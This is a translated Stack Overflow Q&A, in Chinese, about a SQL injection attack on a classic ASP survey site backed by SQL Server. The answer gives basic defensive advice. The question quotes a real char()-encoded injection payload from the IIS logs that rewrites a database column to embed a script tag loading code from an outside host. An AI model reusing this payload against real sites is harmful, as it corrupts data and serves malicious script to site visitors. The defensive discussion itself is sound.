javascript - 对使用 SQL Server 数据库的 ASP 站点的攻击

标签 javascript sql-server asp-classic query-string

我们有一个调查站点显然遭到了攻击。这些症状与本网站下一页所描述的相同: XSS Attack on the ASP.NET Website .

我在我们的 IIS 日志中发现了多个包含恶意代码的条目:

< / title> < script src = http : // google-stats49.info/ur.php >.

这是 IIS 日志条目之一的 cs-uri-query 字段值的示例。

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

我不明白上面的代码是如何工作的,但显然这是在查询字符串中发送的内容,以破坏我们数据库表中的列。我们暂时关闭了我们的网站。我们可以从数据库中删除脚本,但是当我们将站点重新联机时,这并不能防止它再次被破坏。

有没有人对如何防止这种情况发生有任何建议?

最佳答案

那是 SQL 注入(inject)。

  1. 永远不要相信用户的输入。您正在接受输入并将其直接发送到数据库
  2. 永远不要相信您的用户输入!
  3. 根据允许值的白名单检查所有输入。
  4. 对于文本输入,确保一切都被转义

关于这个主题有很多:Google is your friend

关于javascript - 对使用 SQL Server 数据库的 ASP 站点的攻击,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3788080/

相关文章:

javascript - 自增运算符返回 NaN

javascript - AJAX 和 onbeforeunload 事件

mysql - 从 MySQL 调用 SQL Server 存储过程

utf-8 - 如何在经典 ASP 中将 Windows-1255 转换为 UTF-8?

asp-classic - 在经典 asp 中解压缩文件

mysql - 经典 ASP - 尝试检索特定值的总数

javascript - 我应该在 for in 构造中使用 var 吗?

javascript - 如何在 ReactJS 的同一个类中调用方法?

sql - 在特定条件下将一个表中的字段设置为另一个表中的字段

sql-server - "Conversion failed because the data value overflowed the specified type"错误仅适用于同一个表的一列